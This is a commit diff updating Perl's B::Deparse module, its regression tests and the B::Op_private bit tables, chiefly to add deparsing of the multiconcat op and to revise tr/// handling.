+        $first =~ s/([\$@])\^$/${1}{^}/)  # "${^}W" etc
+        || ($last =~ /^[:'{\[\w_]/ && #'
+            $first =~ s/([\$@])([A-Za-z_]\w*)$/${1}{$2}/);
+    return $first . $last;
+}
+
+
+# Deparse a double-quoted optree. For example, "$a[0]\Q$b\Efo\"o" gets
+# compiled to concat(concat($[0],quotemeta($b)),const("fo\"o")), and this
+# sub deparses it back to $a[0]\Q$b\Efo"o
+# (It does not add delimiters)
+
 sub dq {
     my $self = shift;
     my $op = shift;
@@ -5074,16 +5493,9 @@
 	return '$[' if $op->private & OPpCONST_ARYBASE;
 	return uninterp(escape_str(unback($self->const_sv($op)->as_string)));
     } elsif ($type eq "concat") {
-	my $first = $self->dq($op->first);
-	my $last  = $self->dq($op->last);
-
-	# Disambiguate "${foo}bar", "${foo}{bar}", "${foo}[1]", "$foo\::bar"
-	($last =~ /^[A-Z\\\^\[\]_?]/ &&
-	    $first =~ s/([\$@])\^$/${1}{^}/)  # "${^}W" etc
-	    || ($last =~ /^[:'{\[\w_]/ && #'
-		$first =~ s/([\$@])([A-Za-z_]\w*)$/${1}{$2}/);
-
-	return $first . $last;
+        return dq_disambiguate($self->dq($op->first), $self->dq($op->last));
+    } elsif ($type eq "multiconcat") {
+        return $self->do_multiconcat($op, 26, 1);
     } elsif ($type eq "uc") {
 	return '\U' . $self->dq($op->first->sibling) . '\E';
     } elsif ($type eq "lc") {
@@ -5172,7 +5584,9 @@
     }
 }
 
+# Escape a characrter.
 # Only used by tr///, so backslashes hyphens
+
 sub pchr { # ASCII
     my($n) = @_;
     if ($n == ord '\\') {
@@ -5200,7 +5614,7 @@
     } elsif ($n == ord "\r") {
 	return '\\r';
     } elsif ($n >= ord("\cA") and $n <= ord("\cZ")) {
-	return '\\c' . unctrl{chr $n};
+	return '\\c' . $unctrl{chr $n};
     } else {
 #	return '\x' . sprintf("%02x", $n);
 	return '\\' . sprintf("%03o", $n);
@@ -5207,6 +5621,9 @@
     }
 }
 
+# Convert a list of characters into a string suitable for tr/// search or
+# replacement, with suitable escaping and collapsing of ranges
+
 sub collapse {
     my(@chars) = @_;
     my($str, $c, $tr) = ("");
@@ -5227,8 +5644,10 @@
 
 sub tr_decode_byte {
     my($table, $flags) = @_;
-    my(@table) = unpack("s*", $table);
-    splice @table, 0x100, 1;   # Number of subsequent elements
+    my $ssize_t = $Config{ptrsize} == 8 ? 'q' : 'l';
+    my ($size, @table) = unpack("${ssize_t}s*", $table);
+    pop @table; # remove the wildcard final entry
+
     my($c, $tr, @from, @to, @delfrom, $delhyphen);
     if ($table[ord "-"] != -1 and
 	$table[ord("-") - 1] == -1 || $table[ord("-") + 1] == -1)
@@ -5251,7 +5670,12 @@
 	}
     }
     @from = (@from, @delfrom);
+
     if ($flags & OPpTRANS_COMPLEMENT) {
+        unless ($flags & OPpTRANS_DELETE) {
+            @to = () if ("@from" eq "@to");
+        }
+
 	my @newfrom = ();
 	my %from;
 	@from{@from} = (1) x @from;
@@ -5408,9 +5832,11 @@
 
 sub pp_transr { push @_, 'r'; goto &pp_trans }
 
+# Join two components of a double-quoted re, disambiguating
+# "${foo}bar", "${foo}{bar}", "${foo}[1]".
+
 sub re_dq_disambiguate {
     my ($first, $last) = @_;
-    # Disambiguate "${foo}bar", "${foo}{bar}", "${foo}[1]"
     ($last =~ /^[A-Z\\\^\[\]_?]/ &&
 	$first =~ s/([\$@])\^$/${1}{^}/)  # "${^}W" etc
 	|| ($last =~ /^[{\[\w_]/ &&
@@ -5432,6 +5858,8 @@
 	my $first = $self->re_dq($op->first);
 	my $last  = $self->re_dq($op->last);
 	return re_dq_disambiguate($first, $last);
+    } elsif ($type eq "multiconcat") {
+        return $self->do_multiconcat($op, 26, 2);
     } elsif ($type eq "uc") {
 	return '\U' . $self->re_dq($op->first->sibling) . '\E';
     } elsif ($type eq "lc") {
@@ -5480,6 +5908,31 @@
 	return $self->pure_string($op->first)
             && $self->pure_string($op->last);
     }
+    elsif ($type eq 'multiconcat') {
+        my ($kid, @kids);
+        for ($kid = $op->first; !null $kid; $kid = $kid->sibling) {
+            # skip the consts and/or padsv we've optimised away
+            push @kids, $kid
+                unless $kid->type == OP_NULL
+                  && (   $kid->targ == OP_PADSV
+                      || $kid->targ == OP_CONST
+                      || $kid->targ == OP_PUSHMARK);
+        }
+
+        if ($op->flags & OPf_STACKED) {
+            # remove expr from @kids where 'expr  = ...' or 'expr .= ....'
+            if ($op->private & OPpMULTICONCAT_APPEND) {
+                shift(@kids);
+            }
+            else {
+                pop(@kids);
+            }
+        }
+        for (@kids) {
+            return 0 unless $self->pure_string($_);
+        }
+        return 1;
+    }
     elsif (is_scalar($op) || $type =~ /^[ah]elem$/) {
 	return 1;
     }
@@ -6320,7 +6773,7 @@
 =item $[
 
 Takes a number, the value of the array base $[.
-Cannot be non-zero on Perl 5.15.3 or later.
+Obsolete: cannot be non-zero.
 
 =item bytes
 
@@ -6407,11 +6860,10 @@
 
 =item *
 
-In Perl 5.20 and earlier, the only pragmas to
+The only pragmas to
 be completely supported are: C<use warnings>,
 C<use strict>, C<use bytes>, C<use integer>
-and C<use feature>.  (C<$[>, which
-behaves like a pragma, is also supported.)
+and C<use feature>.
 
 Excepting those listed above, we're currently unable to guarantee that
 B::Deparse will produce a pragma at the correct point in the program.
@@ -6429,9 +6881,6 @@
 (such as by over-riding keywords, overloading constants or whatever)
 then the output code might not work as intended.
 
-This is the most serious problem in Perl 5.20 and earlier.  Fixing this
-required internal changes in Perl 5.22.
-
 =item *
 
 Some constants don't print correctly either with or without B<-d>.
@@ -6477,12 +6926,6 @@
 
 There are probably many more bugs on non-ASCII platforms (EBCDIC).
 
-=item *
-
-Prior to Perl 5.22, lexical C<my> subroutines were not deparsed properly.
-They were emitted as pure declarations, sometimes in the wrong place.
-Lexical C<state> subroutines were not deparsed at all.
-
 =back
 
 =head1 AUTHOR

Modified: vendor/perl/dist/lib/B/Deparse.t
===================================================================
--- vendor/perl/dist/lib/B/Deparse.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/B/Deparse.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,19 +1,19 @@
 #!./perl
 
 BEGIN {
-    unshift @INC, 't';
+    splice @INC, 0, 0, 't', '.';
     require Config;
     if (($Config::Config{'extensions'} !~ /\bB\b/) ){
         print "1..0 # Skip -- Perl configured without B module\n";
         exit 0;
     }
-    require './test.pl';
+    require 'test.pl';
 }
 
 use warnings;
 use strict;
 
-my $tests = 46; # not counting those in the __DATA__ section
+my $tests = 52; # not counting those in the __DATA__ section
 
 use B::Deparse;
 my $deparse = B::Deparse->new();
@@ -63,7 +63,7 @@
 	    new B::Deparse split /,/, $meta{options}
 	: $deparse;
 
-    my $coderef = eval "$meta{context};\n" . <<'EOC' . "sub {$input\n}";
+    my $code = "$meta{context};\n" . <<'EOC' . "sub {$input\n}";
 # Tell B::Deparse about our ambient pragmas
 my ($hint_bits, $warning_bits, $hinthash);
 BEGIN {
@@ -75,10 +75,14 @@
     '%^H'        => $hinthash,
 );
 EOC
+    my $coderef = eval $code;
 
     local $::TODO = $meta{todo};
     if ($@) {
-	is($@, "", "compilation of $desc");
+	is($@, "", "compilation of $desc")
+            or diag "=============================================\n"
+                  . "CODE:\n--------\n$code\n--------\n"
+                  . "=============================================\n";
     }
     else {
 	my $deparsed = $deparse->coderef2text( $coderef );
@@ -148,6 +152,21 @@
 is($a, "use constant ('PI', 4);\n",
    "Proxy Constant Subroutines must not show up as (incorrect) prototypes");
 
+$a = `$^X $path "-MO=Deparse" -e "sub foo(){1}" 2>&1`;
+$a =~ s/-e syntax OK\n//g;
+is($a, "sub foo () {\n    1;\n}\n",
+   "Main prog consisting of just a constant (via empty proto)");
+
+$a = readpipe qq|$^X $path "-MO=Deparse"|
+             .qq| -e "package F; sub f(){0} sub s{}"|
+             .qq| -e "#line 123 four-five-six"|
+             .qq| -e "package G; sub g(){0} sub s{}" 2>&1|;
+$a =~ s/-e syntax OK\n//g;
+like($a, qr/sub F::f \(\) \{\s*0;?\s*}/,
+   "Constant is dumped in package in which other subs are dumped");
+unlike($a, qr/sub g/,
+   "Constant is not dumped in package in which other subs are not dumped");
+
 #Re: perlbug #35857, patch #24505
 #handle warnings::register-ed packages properly.
 package B::Deparse::Wrapper;
@@ -527,6 +546,22 @@
        qr'Use of uninitialized value',
       'no warnings for undefined sub';
 
+is runperl(stderr => 1, switches => [ '-MO=-qq,Deparse', $path ],
+    prog => 'sub f { 1; } BEGIN { *g = \&f; }'),
+    "sub f {\n    1;\n}\nsub BEGIN {\n    *g = \\&f;\n}\n",
+    "sub glob alias shouldn't impede emitting original sub";
+
+is runperl(stderr => 1, switches => [ '-MO=-qq,Deparse', $path ],
+    prog => 'package Foo; sub f { 1; } BEGIN { *g = \&f; }'),
+    "package Foo;\nsub f {\n    1;\n}\nsub BEGIN {\n    *g = \\&f;\n}\n",
+    "sub glob alias outside main shouldn't impede emitting original sub";
+
+is runperl(stderr => 1, switches => [ '-MO=-qq,Deparse', $path ],
+    prog => 'package Foo; sub f { 1; } BEGIN { *Bar::f = \&f; }'),
+    "package Foo;\nsub f {\n    1;\n}\nsub BEGIN {\n    *Bar::f = \\&f;\n}\n",
+    "sub glob alias in separate package shouldn't impede emitting original sub";
+
+
 done_testing($tests);
 
 __DATA__
@@ -1403,12 +1438,49 @@
 use feature 'unicode_strings';
 s/X//d;
 ####
-# all the flags (tr///)
-tr/X/Y/c;
-tr/X//d;
-tr/X//s;
-tr/X//r;
+# tr/// with all the flags: empty replacement
+tr/B-G//;
+tr/B-G//c;
+tr/B-G//d;
+tr/B-G//s;
+tr/B-G//cd;
+tr/B-G//ds;
+tr/B-G//cs;
+tr/B-G//cds;
+tr/B-G//r;
 ####
+# tr/// with all the flags: short replacement
+tr/B-G/b/;
+tr/B-G/b/c;
+tr/B-G/b/d;
+tr/B-G/b/s;
+tr/B-G/b/cd;
+tr/B-G/b/ds;
+tr/B-G/b/cs;
+tr/B-G/b/cds;
+tr/B-G/b/r;
+####
+# tr/// with all the flags: equal length replacement
+tr/B-G/b-g/;
+tr/B-G/b-g/c;
+tr/B-G/b-g/s;
+tr/B-G/b-g/cs;
+tr/B-G/b-g/r;
+####
+# tr with extended table (/c)
+tr/\000-\375/AB/c;
+tr/\000-\375/A-C/c;
+tr/\000-\375/A-D/c;
+tr/\000-\375/A-I/c;
+tr/\000-\375/AB/cd;
+tr/\000-\375/A-C/cd;
+tr/\000-\375/A-D/cd;
+tr/\000-\375/A-I/cd;
+tr/\000-\375/AB/cds;
+tr/\000-\375/A-C/cds;
+tr/\000-\375/A-D/cds;
+tr/\000-\375/A-I/cds;
+####
 # [perl #119807] s//\(3)/ge should not warn when deparsed (\3 warns)
 s/foo/\(3);/eg;
 ####
@@ -1977,7 +2049,7 @@
 my sub f {}
 print f();
 >>>>
-BEGIN {${^WARNING_BITS} = "\x54\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x54\x55\x55\x55"}
+BEGIN {${^WARNING_BITS} = "\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x54\x55\x55\x55\x55"}
 my sub f {
     
 }
@@ -1990,7 +2062,7 @@
 state sub f {}
 print f();
 >>>>
-BEGIN {${^WARNING_BITS} = "\x54\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x54\x55\x55\x55"}
+BEGIN {${^WARNING_BITS} = "\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x55\x54\x55\x55\x55\x55"}
 state sub f {
     
 }
@@ -2537,7 +2609,7 @@
 no warnings;
 use feature 'signatures';
 my $x;
-sub ($a, $b) : prototype($$) {
+my $f = sub : prototype($$) ($a, $b) {
     $x++;
 }
 ;
@@ -2547,7 +2619,7 @@
 no warnings;
 use feature 'signatures';
 my $x;
-sub ($a, $b) : prototype($$) lvalue {
+my $f = sub : prototype($$) lvalue ($a, $b) {
     $x++;
 }
 ;
@@ -2557,7 +2629,7 @@
 no warnings;
 use feature 'signatures';
 my $x;
-sub ($a, $b) : lvalue method {
+my $f = sub : lvalue method ($a, $b) {
     $x++;
 }
 ;
@@ -2610,3 +2682,384 @@
     $a;
 }
 ;
+####
+# padrange op within pattern code blocks
+/(?{ my($x, $y) = (); })/;
+my $a;
+/$a(?{ my($x, $y) = (); })/;
+my $r1 = qr/(?{ my($x, $y) = (); })/;
+my $r2 = qr/$a(?{ my($x, $y) = (); })/;
+####
+# don't remove pattern whitespace escapes
+/a\ b/;
+/a\ b/x;
+/a\	b/;
+/a\	b/x;
+####
+# my attributes
+my $s1 :foo(f1, f2) bar(b1, b2);
+my @a1 :foo(f1, f2) bar(b1, b2);
+my %h1 :foo(f1, f2) bar(b1, b2);
+my($s2, @a2, %h2) :foo(f1, f2) bar(b1, b2);
+####
+# my class attributes
+package Foo::Bar;
+my Foo::Bar $s1 :foo(f1, f2) bar(b1, b2);
+my Foo::Bar @a1 :foo(f1, f2) bar(b1, b2);
+my Foo::Bar %h1 :foo(f1, f2) bar(b1, b2);
+my Foo::Bar ($s2, @a2, %h2) :foo(f1, f2) bar(b1, b2);
+package main;
+my Foo::Bar $s3 :foo(f1, f2) bar(b1, b2);
+my Foo::Bar @a3 :foo(f1, f2) bar(b1, b2);
+my Foo::Bar %h3 :foo(f1, f2) bar(b1, b2);
+my Foo::Bar ($s4, @a4, %h4) :foo(f1, f2) bar(b1, b2);
+####
+# avoid false positives in my $x :attribute
+'attributes'->import('main', \my $x1, 'foo(bar)'), my $y1;
+'attributes'->import('Fooo', \my $x2, 'foo(bar)'), my $y2;
+####
+# hash slices and hash key/value slices
+my(@a, %h);
+our(@oa, %oh);
+ at a = @h{'foo', 'bar'};
+ at a = %h{'foo', 'bar'};
+ at a = delete @h{'foo', 'bar'};
+ at a = delete %h{'foo', 'bar'};
+ at oa = @oh{'foo', 'bar'};
+ at oa = %oh{'foo', 'bar'};
+ at oa = delete @oh{'foo', 'bar'};
+ at oa = delete %oh{'foo', 'bar'};
+####
+# keys optimised away in void and scalar context
+no warnings;
+;
+our %h1;
+my($x, %h2);
+%h1;
+keys %h1;
+$x = %h1;
+$x = keys %h1;
+%h2;
+keys %h2;
+$x = %h2;
+$x = keys %h2;
+####
+# eq,const optimised away for (index() == -1)
+my($a, $b);
+our $c;
+$c = index($a, $b) == 2;
+$c = rindex($a, $b) == 2;
+$c = index($a, $b) == -1;
+$c = rindex($a, $b) == -1;
+$c = index($a, $b) != -1;
+$c = rindex($a, $b) != -1;
+$c = (index($a, $b) == -1);
+$c = (rindex($a, $b) == -1);
+$c = (index($a, $b) != -1);
+$c = (rindex($a, $b) != -1);
+####
+# eq,const,sassign,madmy optimised away for (index() == -1)
+my($a, $b);
+my $c;
+$c = index($a, $b) == 2;
+$c = rindex($a, $b) == 2;
+$c = index($a, $b) == -1;
+$c = rindex($a, $b) == -1;
+$c = index($a, $b) != -1;
+$c = rindex($a, $b) != -1;
+$c = (index($a, $b) == -1);
+$c = (rindex($a, $b) == -1);
+$c = (index($a, $b) != -1);
+$c = (rindex($a, $b) != -1);
+####
+# plain multiconcat
+my($a, $b, $c, $d, @a);
+$d = length $a . $b . $c;
+$d = length($a) . $b . $c;
+print '' . $a;
+push @a, ($a . '') * $b;
+unshift @a, "$a" * ($b . '');
+print $a . 'x' . $b . $c;
+print $a . 'x' . $b . $c, $d;
+print $b . $c . ($a . $b);
+print $b . $c . ($a . $b);
+print $b . $c . @a;
+print $a . "\x{100}";
+####
+# double-quoted multiconcat
+my($a, $b, $c, $d, @a);
+print "${a}x\x{100}$b$c";
+print "$a\Q$b\E$c\Ua$a\E\Lb$b\uc$c\E$a${b}c$c";
+print "A=$a[length 'b' . $c . 'd'] b=$b";
+print "A=@a B=$b";
+print "\x{101}$a\x{100}";
+$a = qr/\Q
+$b $c
+\x80
+\x{100}
+\E$c
+/;
+####
+# sprintf multiconcat
+my($a, $b, $c, $d, @a);
+print sprintf("%s%s%%%sx%s\x{100}%s", $a, $b, $c, scalar @a, $d);
+####
+# multiconcat with lexical assign
+my($a, $b, $c, $d, $e, @a);
+$d = 'foo' . $a;
+$d = "foo$a";
+$d = $a . '';
+$d = 'foo' . $a . 'bar';
+$d = $a . $b;
+$d = $a . $b . $c;
+$d = $a . $b . $c . @a;
+$e = ($d = $a . $b . $c);
+$d = !$a . $b . $c;
+$a = $b . $c . ($a . $b);
+$e = f($d = !$a . $b) . $c;
+$d = "${a}x\x{100}$b$c";
+f($d = !$a . $b . $c);
+####
+# multiconcat with lexical my
+my($a, $b, $c, $d, $e, @a);
+my $d1 = 'foo' . $a;
+my $d2 = "foo$a";
+my $d3 = $a . '';
+my $d4 = 'foo' . $a . 'bar';
+my $d5 = $a . $b;
+my $d6 = $a . $b . $c;
+my $e7 = ($d = $a . $b . $c);
+my $d8 = !$a . $b . $c;
+my $d9 = $b . $c . ($a . $b);
+my $da = f($d = !$a . $b) . $c;
+my $dc = "${a}x\x{100}$b$c";
+f(my $db = !$a . $b . $c);
+my $dd = $a . $b . $c . @a;
+####
+# multiconcat with lexical append
+my($a, $b, $c, $d, $e, @a);
+$d .= '';
+$d .= $a;
+$d .= "$a";
+$d .= 'foo' . $a;
+$d .= "foo$a";
+$d .= $a . '';
+$d .= 'foo' . $a . 'bar';
+$d .= $a . $b;
+$d .= $a . $b . $c;
+$d .= $a . $b . @a;
+$e .= ($d = $a . $b . $c);
+$d .= !$a . $b . $c;
+$a .= $b . $c . ($a . $b);
+$e .= f($d .= !$a . $b) . $c;
+f($d .= !$a . $b . $c);
+$d .= "${a}x\x{100}$b$c";
+####
+# multiconcat with expression assign
+my($a, $b, $c, @a);
+our($d, $e);
+$d = 'foo' . $a;
+$d = "foo$a";
+$d = $a . '';
+$d = 'foo' . $a . 'bar';
+$d = $a . $b;
+$d = $a . $b . $c;
+$d = $a . $b . @a;
+$e = ($d = $a . $b . $c);
+$a["-$b-"] = !$a . $b . $c;
+$a[$b]{$c}{$d ? $a : $b . $c} = !$a . $b . $c;
+$a = $b . $c . ($a . $b);
+$e = f($d = !$a . $b) . $c;
+$d = "${a}x\x{100}$b$c";
+f($d = !$a . $b . $c);
+####
+# multiconcat with expression concat
+my($a, $b, $c, @a);
+our($d, $e);
+$d .= 'foo' . $a;
+$d .= "foo$a";
+$d .= $a . '';
+$d .= 'foo' . $a . 'bar';
+$d .= $a . $b;
+$d .= $a . $b . $c;
+$d .= $a . $b . @a;
+$e .= ($d .= $a . $b . $c);
+$a["-$b-"] .= !$a . $b . $c;
+$a[$b]{$c}{$d ? $a : $b . $c} .= !$a . $b . $c;
+$a .= $b . $c . ($a . $b);
+$e .= f($d .= !$a . $b) . $c;
+$d .= "${a}x\x{100}$b$c";
+f($d .= !$a . $b . $c);
+####
+# multiconcat with CORE::sprintf
+# CONTEXT sub sprintf {}
+my($a, $b);
+my $x = CORE::sprintf('%s%s', $a, $b);
+####
+# multiconcat with backticks
+my($a, $b);
+our $x;
+$x = `$a-$b`;
+####
+# multiconcat within qr//
+my($r, $a, $b);
+$r = qr/abc\Q$a-$b\Exyz/;
+####
+# tr with unprintable characters
+my $str;
+$str = 'foo';
+$str =~ tr/\cA//;
+####
+# CORE::foo special case in bareword parsing
+print $CORE::foo, $CORE::foo::bar;
+print @CORE::foo, @CORE::foo::bar;
+print %CORE::foo, %CORE::foo::bar;
+print $CORE::foo{'a'}, $CORE::foo::bar{'a'};
+print &CORE::foo, &CORE::foo::bar;
+print &CORE::foo(), &CORE::foo::bar();
+print \&CORE::foo, \&CORE::foo::bar;
+print *CORE::foo, *CORE::foo::bar;
+print stat CORE::foo::, stat CORE::foo::bar;
+print CORE::foo:: 1;
+print CORE::foo::bar 2;
+####
+# trailing colons on glob names
+no strict 'vars';
+$Foo::::baz = 1;
+print $foo, $foo::, $foo::::;
+print @foo, @foo::, @foo::::;
+print %foo, %foo::, %foo::::;
+print $foo{'a'}, $foo::{'a'}, $foo::::{'a'};
+print &foo, &foo::, &foo::::;
+print &foo(), &foo::(), &foo::::();
+print \&foo, \&foo::, \&foo::::;
+print *foo, *foo::, *foo::::;
+print stat Foo, stat Foo::::;
+print Foo 1;
+print Foo:::: 2;
+####
+# trailing colons mixed with CORE
+no strict 'vars';
+print $CORE, $CORE::, $CORE::::;
+print @CORE, @CORE::, @CORE::::;
+print %CORE, %CORE::, %CORE::::;
+print $CORE{'a'}, $CORE::{'a'}, $CORE::::{'a'};
+print &CORE, &CORE::, &CORE::::;
+print &CORE(), &CORE::(), &CORE::::();
+print \&CORE, \&CORE::, \&CORE::::;
+print *CORE, *CORE::, *CORE::::;
+print stat CORE, stat CORE::::;
+print CORE 1;
+print CORE:::: 2;
+print $CORE::foo, $CORE::foo::, $CORE::foo::::;
+print @CORE::foo, @CORE::foo::, @CORE::foo::::;
+print %CORE::foo, %CORE::foo::, %CORE::foo::::;
+print $CORE::foo{'a'}, $CORE::foo::{'a'}, $CORE::foo::::{'a'};
+print &CORE::foo, &CORE::foo::, &CORE::foo::::;
+print &CORE::foo(), &CORE::foo::(), &CORE::foo::::();
+print \&CORE::foo, \&CORE::foo::, \&CORE::foo::::;
+print *CORE::foo, *CORE::foo::, *CORE::foo::::;
+print stat CORE::foo::, stat CORE::foo::::;
+print CORE::foo:: 1;
+print CORE::foo:::: 2;
+####
+# \&foo
+my sub foo {
+    1;
+}
+no strict 'vars';
+print \&main::foo;
+print \&{foo};
+print \&bar;
+use strict 'vars';
+print \&main::foo;
+print \&{foo};
+print \&main::bar;
+####
+# exists(&foo)
+my sub foo {
+    1;
+}
+no strict 'vars';
+print exists &main::foo;
+print exists &{foo};
+print exists &bar;
+use strict 'vars';
+print exists &main::foo;
+print exists &{foo};
+print exists &main::bar;
+# precedence of optimised-away 'keys' (OPpPADHV_ISKEYS/OPpRV2HV_ISKEYS)
+my($r1, %h1, $res);
+our($r2, %h2);
+$res = keys %h1;
+$res = keys %h2;
+$res = keys %$r1;
+$res = keys %$r2;
+$res = keys(%h1) / 2 - 1;
+$res = keys(%h2) / 2 - 1;
+$res = keys(%$r1) / 2 - 1;
+$res = keys(%$r2) / 2 - 1;
+####
+# ditto in presence of sub keys {}
+# CONTEXT sub keys {}
+no warnings;
+my($r1, %h1, $res);
+our($r2, %h2);
+CORE::keys %h1;
+CORE::keys(%h1) / 2;
+$res = CORE::keys %h1;
+$res = CORE::keys %h2;
+$res = CORE::keys %$r1;
+$res = CORE::keys %$r2;
+$res = CORE::keys(%h1) / 2 - 1;
+$res = CORE::keys(%h2) / 2 - 1;
+$res = CORE::keys(%$r1) / 2 - 1;
+$res = CORE::keys(%$r2) / 2 - 1;
+####
+# concat: STACKED: ambiguity between .= and optimised nested
+my($a, $b);
+$b = $a . $a . $a;
+(($a .= $a) .= $a) .= $a;
+####
+# multiconcat: $$ within string
+my($a, $x);
+$x = "${$}abc";
+$x = "\$$a";
+####
+# single state aggregate assignment
+# CONTEXT use feature "state";
+state @a = (1, 2, 3);
+state %h = ('a', 1, 'b', 2);
+####
+# state var with attribute
+# CONTEXT use feature "state";
+state $x :shared;
+state $y :shared = 1;
+state @a :shared;
+state @b :shared = (1, 2);
+state %h :shared;
+state %i :shared = ('a', 1, 'b', 2);
+####
+# \our @a shouldn't be a list
+my $r = \our @a;
+my(@l) = \our((@b));
+ at l = \our(@c, @d);
+####
+# postfix $#
+our(@b, $s, $l);
+$l = (\my @a)->$#*;
+(\@b)->$#* = 1;
+++(\my @c)->$#*;
+$l = $#a;
+$#a = 1;
+$l = $#b;
+$#b = 1;
+my $r;
+$l = $r->$#*;
+$r->$#* = 1;
+$l = $#{@$r;};
+$#{$r;} = 1;
+$l = $s->$#*;
+$s->$#* = 1;
+$l = $#{@$s;};
+$#{$s;} = 1;

Modified: vendor/perl/dist/lib/B/Op_private.pm
===================================================================
--- vendor/perl/dist/lib/B/Op_private.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/lib/B/Op_private.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -118,7 +118,7 @@
 our %bits;
 
 
-our $VERSION = "5.026000";
+our $VERSION = "5.028000";
 
 $bits{$_}{3} = 'OPpENTERSUB_AMPER' for qw(entersub rv2cv);
 $bits{$_}{6} = 'OPpENTERSUB_DB' for qw(entersub rv2cv);
@@ -130,14 +130,15 @@
 $bits{$_}{3} = 'OPpFT_STACKING' for qw(ftatime ftbinary ftblk ftchr ftctime ftdir fteexec fteowned fteread ftewrite ftfile ftis ftlink ftmtime ftpipe ftrexec ftrowned ftrread ftrwrite ftsgid ftsize ftsock ftsuid ftsvtx fttext fttty ftzero);
 $bits{$_}{1} = 'OPpHINT_STRICT_REFS' for qw(entersub multideref rv2av rv2cv rv2gv rv2hv rv2sv);
 $bits{$_}{5} = 'OPpHUSH_VMSISH' for qw(dbstate nextstate);
+$bits{$_}{6} = 'OPpINDEX_BOOLNEG' for qw(index rindex);
 $bits{$_}{1} = 'OPpITER_REVERSED' for qw(enteriter iter);
 $bits{$_}{7} = 'OPpLVALUE' for qw(leave leaveloop);
 $bits{$_}{6} = 'OPpLVAL_DEFER' for qw(aelem helem multideref);
-$bits{$_}{7} = 'OPpLVAL_INTRO' for qw(aelem aslice cond_expr delete enteriter entersub gvsv helem hslice list lvavref lvref lvrefslice multideref padav padhv padrange padsv pushmark refassign rv2av rv2gv rv2hv rv2sv split);
+$bits{$_}{7} = 'OPpLVAL_INTRO' for qw(aelem aslice cond_expr delete enteriter entersub gvsv helem hslice list lvavref lvref lvrefslice multiconcat multideref padav padhv padrange padsv pushmark refassign rv2av rv2gv rv2hv rv2sv split);
 $bits{$_}{2} = 'OPpLVREF_ELEM' for qw(lvref refassign);
 $bits{$_}{3} = 'OPpLVREF_ITER' for qw(lvref refassign);
-$bits{$_}{3} = 'OPpMAYBE_LVSUB' for qw(aassign aelem akeys aslice av2arylen avhvswitch helem hslice keys kvaslice kvhslice multideref padav padhv pos rv2av rv2gv rv2hv substr vec);
-$bits{$_}{4} = 'OPpMAYBE_TRUEBOOL' for qw(padhv rv2hv);
+$bits{$_}{3} = 'OPpMAYBE_LVSUB' for qw(aassign aelem akeys aslice av2arylen avhvswitch helem hslice keys kvaslice kvhslice multideref padav padhv pos rv2av rv2gv rv2hv substr values vec);
+$bits{$_}{4} = 'OPpMAYBE_TRUEBOOL' for qw(padhv ref rv2hv);
 $bits{$_}{7} = 'OPpOFFBYONE' for qw(caller runcv wantarray);
 $bits{$_}{5} = 'OPpOPEN_IN_CRLF' for qw(backtick open);
 $bits{$_}{4} = 'OPpOPEN_IN_RAW' for qw(backtick open);
@@ -148,7 +149,7 @@
 $bits{$_}{7} = 'OPpPV_IS_UTF8' for qw(dump goto last next redo);
 $bits{$_}{6} = 'OPpREFCOUNTED' for qw(leave leaveeval leavesub leavesublv leavewrite);
 $bits{$_}{2} = 'OPpSLICEWARNING' for qw(aslice hslice padav padhv rv2av rv2hv);
-$bits{$_}{4} = 'OPpTARGET_MY' for qw(abs add atan2 chdir chmod chomp chown chr chroot concat cos crypt divide exec exp flock getpgrp getppid getpriority hex i_add i_divide i_modulo i_multiply i_subtract index int kill left_shift length link log mkdir modulo multiply nbit_and nbit_or nbit_xor ncomplement oct ord pow push rand rename right_shift rindex rmdir schomp scomplement setpgrp setpriority sin sleep sqrt srand stringify subtract symlink system time unlink unshift utime wait waitpid);
+$bits{$_}{4} = 'OPpTARGET_MY' for qw(abs add atan2 chdir chmod chomp chown chr chroot concat cos crypt divide exec exp flock getpgrp getppid getpriority hex i_add i_divide i_modulo i_multiply i_subtract index int kill left_shift length link log mkdir modulo multiconcat multiply nbit_and nbit_or nbit_xor ncomplement oct ord pow push rand rename right_shift rindex rmdir schomp scomplement setpgrp setpriority sin sleep sqrt srand stringify subtract symlink system time unlink unshift utime wait waitpid);
 $bits{$_}{5} = 'OPpTRANS_COMPLEMENT' for qw(trans transr);
 $bits{$_}{7} = 'OPpTRANS_DELETE' for qw(trans transr);
 $bits{$_}{0} = 'OPpTRANS_FROM_UTF' for qw(trans transr);
@@ -156,7 +157,7 @@
 $bits{$_}{2} = 'OPpTRANS_IDENTICAL' for qw(trans transr);
 $bits{$_}{3} = 'OPpTRANS_SQUASH' for qw(trans transr);
 $bits{$_}{1} = 'OPpTRANS_TO_UTF' for qw(trans transr);
-$bits{$_}{5} = 'OPpTRUEBOOL' for qw(padhv rv2hv);
+$bits{$_}{5} = 'OPpTRUEBOOL' for qw(grepwhile index length padav padhv pos ref rindex rv2av rv2hv subst);
 
 my @bf = (
     {
@@ -244,7 +245,7 @@
     },
 );
 
-@{$bits{aassign}}{6,5,4,1,0} = ('OPpASSIGN_COMMON_SCALAR', 'OPpASSIGN_COMMON_RC1', 'OPpASSIGN_COMMON_AGG', $bf[1], $bf[1]);
+@{$bits{aassign}}{6,5,4,2,1,0} = ('OPpASSIGN_COMMON_SCALAR', 'OPpASSIGN_COMMON_RC1', 'OPpASSIGN_COMMON_AGG', 'OPpASSIGN_TRUEBOOL', $bf[1], $bf[1]);
 $bits{abs}{0} = $bf[0];
 @{$bits{accept}}{3,2,1,0} = ($bf[4], $bf[4], $bf[4], $bf[4]);
 @{$bits{add}}{1,0} = ($bf[1], $bf[1]);
@@ -284,7 +285,7 @@
 @{$bits{close}}{3,2,1,0} = ($bf[4], $bf[4], $bf[4], $bf[4]);
 $bits{closedir}{0} = $bf[0];
 $bits{complement}{0} = $bf[0];
-@{$bits{concat}}{1,0} = ($bf[1], $bf[1]);
+@{$bits{concat}}{6,1,0} = ('OPpCONCAT_NESTED', $bf[1], $bf[1]);
 $bits{cond_expr}{0} = $bf[0];
